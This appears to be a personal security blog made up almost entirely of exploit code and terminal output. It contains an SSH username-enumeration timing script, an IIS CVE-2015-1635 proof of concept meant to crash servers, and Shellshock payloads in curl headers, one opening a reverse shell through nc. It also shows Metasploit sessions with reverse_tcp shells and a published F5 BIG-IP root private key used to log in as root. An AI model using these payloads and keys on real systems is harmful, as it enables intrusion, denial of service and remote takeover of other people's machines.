# cat blog >> /dev/brain 2> /proc/mind
cat blog >> /dev/brain 2> /proc/mind
# cat ssh_user_enumeration.py import paramiko import sys import time target = sys.argv[1] port = int(sys.argv[2]) username = sys.argv[3] password = 'Z' * 25000 limit = int(sys.argv[4]) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: starttime = time.time() ssh.connect(target, port = port, username = username, password = password) except: endtime = time.time() total = endtime - starttime if limit == 0: print total elif limit <= total: print username, total # python ssh_user_enumeration.py 127.0.0.1 22 user1 0 2.32467317581 # python ssh_user_enumeration.py 127.0.0.1 22 user2 0 2.62516498566 # python ssh_user_enumeration.py 127.0.0.1 22 root 3 root 7.46048903465 # python ssh_user_enumeration.py 127.0.0.1 22 user3 3
cat ssh_user_enumeration.py
python ssh_user_enumeration.py 127.0.0.1 22 user1 0
python ssh_user_enumeration.py 127.0.0.1 22 user2 0
python ssh_user_enumeration.py 127.0.0.1 22 root 3
python ssh_user_enumeration.py 127.0.0.1 22 user3 3
# cat cve-2015-1635.py #!/usr/bin/env python """cve-2015-1635.py: DoS PoC""" import argparse, BeautifulSoup, re, requests, socket, sys, urlparse __author__ = 't0n1' __credits__ = 'sha0' LOW = '2' HIGH = '18446744073709551615' UA = 'Mozilla/5.0' TOUT = 3 MAX = 262144 s = requests.Session() def parse_url(url): url = urlparse.urljoin(URL, url) parsed = urlparse.urlparse(url) return parsed.scheme + '://' + parsed.netloc + parsed.path def get_content_length(url): h = { 'User-agent': UA, } r = s.head(url, headers = h, verify = False) return int(r.headers['content-length']) def get_resource(html): parsed = urlparse.urlparse(URL) urllist = [] soup = BeautifulSoup.BeautifulSoup(html) for img in soup.findAll('img', src = True): urllist.append(parse_url(img['src'])) for link in soup.findAll('a', href = True): urllist.append(parse_url(link['href'])) for url in urllist: if parsed.netloc not in url: continue cl = get_content_length(url) if 0 < cl and cl <= MAX: print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX) return url cl = get_content_length(URL) print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX) return URL def check_iis(): global URL h = { 'User-agent': UA, } r = s.get(URL, headers = h, verify = False) print '[+] URL = ' + URL if 'server' in r.headers.keys(): server = r.headers['server'] if 'iis' in server.lower(): print '[+] Server HTTP Header = ' + server if r.status_code == 200: print '[+] Status Code = 200' URL = get_resource(r.text) return True else: print '[-] Status Code = ' + str(r.status_code) return False else: print '[-] Server HTTP Header = ' + server return False else: print '[-] Not Server HTTP Header' return False def check_vulnerable(): h = { 'User-agent': UA, 'Range': 'bytes=0-' + HIGH } r = s.get(URL, headers = h, verify = False) if r.status_code == 416: print '[+] >>>>>>>>>> Vulnerable | Status Code = 416' return True elif r.status_code == 400: print '[-] Not vulnerable | Status Code = 400 | Patched?' return False else: print '[-] Not vulnerable | Status Code = ' + str(r.status_code) return False def exploit(): h = { 'User-agent': UA, 'Range': 'bytes=' + LOW + '-' + HIGH } try: r = s.get(URL, headers = h, timeout = TOUT, verify = False) if r.status_code == 206: print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?' except requests.exceptions.ConnectionError: pass except requests.exceptions.Timeout: print '[+] Blue Screen of Death! Game Over!' parser = argparse.ArgumentParser() parser.add_argument('-u', dest = 'url', help = 'Target', required = True) parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False) args = parser.parse_args() URL = args.url if check_iis(): if check_vulnerable(): if args.exploit == True: exploit() # ./cve-2015-1635.py -h usage: cve-2015-1635.py [-h] -u URL [-e] optional arguments: -h, --help show this help message and exit -u URL Target -e Exploit # ./cve-2015-1635.py -u http://127.0.0.1:8080 [+] URL = http://127.0.0.1:8080 [+] Server HTTP Header = Microsoft-IIS/7.5 [+] Status Code = 200 [+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144 [+] >>>>>>>>>> Vulnerable | Status Code = 416 # ./cve-2015-1635.py -u http://127.0.0.1:8080 -e [+] URL = http://127.0.0.1:8080 [+] Server HTTP Header = Microsoft-IIS/7.5 [+] Status Code = 200 [+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144 [+] >>>>>>>>>> Vulnerable | Status Code = 416 [+] Blue Screen of Death! Game Over!
cat cve-2015-1635.py
./cve-2015-1635.py -h
./cve-2015-1635.py -u http://127.0.0.1:8080
./cve-2015-1635.py -u http://127.0.0.1:8080 -e
# a2enmod cgi # sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf # service apache2 restart # cat /usr/lib/cgi-bin/env.sh #!/bin/bash echo 'Content-type: text/html' echo '' echo '<html>' echo '<head>' echo '<title>cve-2014-6271</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</hmtl>'
a2enmod cgi
sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf
service apache2 restart
cat /usr/lib/cgi-bin/env.sh
# ip="192.168.1.1" # nc -v --listen $ip --port=1234
ip="192.168.1.1"
nc -v --listen $ip --port=1234
# ip="192.168.1.1" # payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'" # url="http://192.168.1.2/cgi-bin/env.sh" # curl --verbose --user-agent "$payload" --referer "$payload" $url
payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'"
url="http://192.168.1.2/cgi-bin/env.sh"
curl --verbose --user-agent "$payload" --referer "$payload" $url
nc: connect to 192.168.1.1 1234 from 192.168.1.2 $
# cat cve-2014-6271-cmd #!/bin/bash #https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 proto="$1" host="$2" port="$3" path="$4" cmd="$5" if [ "$proto" == "https" ]; then insecure='--insecure' else insecure='' fi url="$proto://$host:$port/$path" payload="() { :; }; echo -e '\\r\\n'; $cmd 2>&1" curl $insecure --verbose --user-agent "$payload" --referer "$payload" $url # ./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'
cat cve-2014-6271-cmd
./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'
msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec
use auxiliary/scanner/http/apache_mod_cgi_bash_env
use exploits/multi/http/apache_mod_cgi_bash_env_exec
# msfconsole msf > use exploit/multi/browser/java_jre17_exec msf exploit(java_jre17_exec) > set payload java/shell/reverse_tcp msf exploit(java_jre17_exec) > set srvhost 192.168.0.2 msf exploit(java_jre17_exec) > set lhost 192.168.0.2 msf exploit(java_jre17_exec) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.2:4444 msf exploit(java_jre17_exec) > [*] Using URL: http://192.168.0.2:8080/UxFhxobmVYzm [*] Server started. [*] 192.168.0.1 java_jre17_exec - Java 7 Applet Remote Code Execution handling request [*] 192.168.0.1 java_jre17_exec - Sending Applet.jar [*] 192.168.0.1 java_jre17_exec - Sending Applet.jar [*] 192.168.0.1 java_jre17_exec - Sending Applet.jar [*] Sending stage (2976 bytes) to 192.168.0.1 [*] Command shell session 1 opened (192.168.0.2:4444 -> 192.168.0.1:1139) msf exploit(java_jre17_exec) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\User\Desktop>
msfconsole
use exploit/multi/browser/java_jre17_exec
set payload java/shell/reverse_tcp
set srvhost 192.168.0.2
set lhost 192.168.0.2
exploit
sessions -i 1
# cat f5_private_key -----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY----- # chmod 0600 f5_private_key # ssh -i f5_private_key root@192.168.1.1 [root@F5-BIG-IP:Active] config # bigpipe platform | grep Platform | BIOS revision: F5 Platform: C103 OBJ-0335-01 BIOS (build: 130) Date: 09/12/09 [root@F5-BIG-IP:Active] config # bigpipe version | grep Version BIG-IP Version 10.2.2 969.0 [root@F5-BIG-IP:Active] config # whoami root
cat f5_private_key
chmod 0600 f5_private_key
ssh -i f5_private_key root@192.168.1.1
bigpipe platform | grep Platform
bigpipe version | grep Version
whoami
login as: root Authenticating with public key "imported-openssh-key" [root@F5-BIG-IP:Active] config # whoami root
root
# msfconsole msf > use exploit/linux/ssh/f5_bigip_known_privkey msf exploit(f5_bigip_known_privkey) > show payloads msf exploit(f5_bigip_known_privkey) > set payload cmd/unix/interact msf exploit(f5_bigip_known_privkey) > set lhost 192.168.1.2 msf exploit(f5_bigip_known_privkey) > set rhost 192.168.1.1 msf exploit(f5_bigip_known_privkey) > exploit [+] Successful login [*] Found shell. [*] Command shell session 1 opened (192.168.1.2:42298 -> 192.168.1.1:22) whoami root
use exploit/linux/ssh/f5_bigip_known_privkey
show payloads
set payload cmd/unix/interact
set lhost 192.168.1.2
set rhost 192.168.1.1